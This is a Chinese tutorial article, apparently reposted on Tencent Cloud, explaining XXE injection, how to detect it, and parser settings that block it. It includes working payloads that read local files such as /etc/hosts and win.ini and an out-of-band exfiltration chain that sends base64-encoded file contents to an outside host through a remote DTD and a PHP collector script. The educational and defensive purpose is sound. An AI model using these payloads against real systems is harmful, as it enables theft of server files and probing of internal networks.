专栏首页行云博客XXE实体注入漏洞详解

XXE实体注入漏洞详解

什么是XXE

XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。

原理

既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。 那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

XXE漏洞带来的的危害

当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。

什么是 XML

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准。

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

DTD文档组成

1.元素(ELEMENT)的定义规则;

2.元素之间的关系规则;

3.属性(ATTLIST)的定义规则;

4.可使用的实体(ENTITY)或符号(NOTATION)规则。

寻找XXE

检测xml是否被解析

尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。

  • 单双引号 ' " :XML的属性值必须用引号包裹,而数据可能进入标签的属性值。
  • 尖括号< > :XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。
  • 注释符<!-- :XML使用<!-- This is a comment -->作注释。
  • & :& 用于引用实体。
  • CDATA 分隔符]]><![CDATA[foo]]>中的内容不被解析器解析,提前闭合引发异常。

检测是否支持外部实体解析

尝试利用实体和DTD。

  • 引用外部DTD文件访问内网主机/端口 :<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">(看响应时间)
  • 引用外部DTD文件访问外网 :<!DOCTYPE a SYSTEM "http://vps_ip" >
  • 引用内部实体 :<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
  • 外部实体读本地文件 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
  • 外部实体访问内网主机/端口 :<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)
  • 外部实体访问外网 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
  • 判断问题存在可以OOB提取数据。

XXE的防御

  • 使用开发语言提供的禁用外部实体的方法

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC

示例

xxe1.php文件

<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % load SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://lyb.cn/load.xml"> 
%remote;
%send; 
]>
EOF;
$obj = simplexml_load_string($test, SimpleXMLElement, LIBXML_NOENT);
?>

load.xml文件

<!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://lyb.cn/test.php?load=%load;'>"
>
%all;

text.php文件

<?php file_put_contents("load.txt",$_GET["load"],FILE_APPEND);?>

访问http://192.168.1.218/xxe1.php,将会在lyb.cn的网站下创建一个load.txt,里面含有c:/windows/win.ini文件base64编码过后的数据

代码执行过程

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!
本文分享自作者个人站点/博客:https://blog.csdn.net/qq_41679358复制
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • Web漏洞|XXE漏洞详解(XML外部实体注入)

    在学习XXE漏洞之前,我们先了解下XML。传送门——> XML和JSON数据格式

    谢公子
  • XXE注入漏洞

    要想清楚XXE漏洞,首先要了解XML XML 可扩展标记语言(EXtensible Markup Language)。

    宸寰客
  • xxe漏洞详解

    xml和html都是文本标记语言,不过xml用来进行文本传输,html用来进行文本显示。

    鱼丸
  • 【漏洞通告】WebSphere XML外部实体(XXE)注入漏洞(CVE-2020-4949)

    近日,IBM官方发布通告修复了WebSphere Application Server(WAS)中的一个XML外部实体注入(XXE)漏洞(CVE-2020-49...

    绿盟科技安全情报
  • JAVA代码审计 -- XXE外部实体注入

    实体引用,在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<对...

    Gh0st1nTheShel
  • 【漏洞通告】WebSphere XML外部实体(XXE)注入漏洞(CVE-2021-20453/CVE-2021-20454)

    近日,绿盟科技监测到IBM发布安全公告修复了两个WebSphere Application Server XML外部实体(XXE)注入漏洞(CVE-2021-2...

    绿盟科技安全情报
  • 【漏洞通告】WebSphere XML外部实体注入(XXE)漏洞(CVE-2020-4643)处置手册

    近日,IBM官方发布通告修复了WebSphere Application Server(WAS)中的一个XML外部实体注入(XXE)漏洞(CVE-2020-46...

    绿盟科技安全情报
  • SQL注入漏洞详解

    SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同...

    谢公子
  • 详解模板注入漏洞(下)

    在上一篇文章中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及两种模版引擎相关的注入漏洞。在本文中,我们将继续为读者介绍其他四种模版引擎相关的...

    程序猿DD
  • XML外部实体(XXE)注入原理解析及实战案例全汇总

    XML全称“可扩展标记语言”(extensible markup language),XML是一种用于存储和传输数据的语言。与HTML一样,XML使用标签和数据...

    Jayway
  • DTD 实体 XXE 浅析

    在 FIT2018 互联网创新大会上得知,最新的 OWASP top10 中,XXE 已上升至第三位,所有对 XXE 产生了强烈的兴趣。虽然之前也听说过 XXE...

    信安之路
  • 渗透测试之XXE漏洞

    XML外部实体注入简称XXE漏洞:XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言...

    贝塔安全实验室
  • WEB应用常见15种安全漏洞一览

    SQL 注入就是通过给 web 应用接口传入一些特殊字符,达到欺骗服务器执行恶意的 SQL 命令。

    Fundebug
  • XXE从入门到放弃

    XXE全称XML External Entity Injection,也就是XML外部实体注入攻击,是对非安全的外部实体数据进行处理时引发的安全问题。要想搞懂...

    用户1631416
  • [红日安全]Web安全Day8 - XXE实战攻防

    大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ...

    红日安全
  • Xee漏洞入门到放弃

    介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞

    逍遥子大表哥
  • 利用XML和ZIP格式解析漏洞实现RCE

    在参与某个众测项目过程中我遇到了一个Web应用,它可以执行某种通用文件类型的处理,这里我们暂且把该种文件类型称为.xyz吧,通过Google查找,我发现这种.x...

    FB客服
  • 最近大火的XXE漏洞是什么

    XXE全称是——XML External Entity,也就是XML外部实体注入攻击。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

    HACK学习
  • Java代码审计汇总系列(二)——XXE注入

    OWASP Top 10中的另一个注入漏洞是XML外部实体注入(XXE),它是在解析XML输入时产生的一种漏洞,漏洞原理和黑盒挖掘技巧见之前的文章:XML外部实...

    Jayway

扫码关注腾讯云开发者

领取腾讯云代金券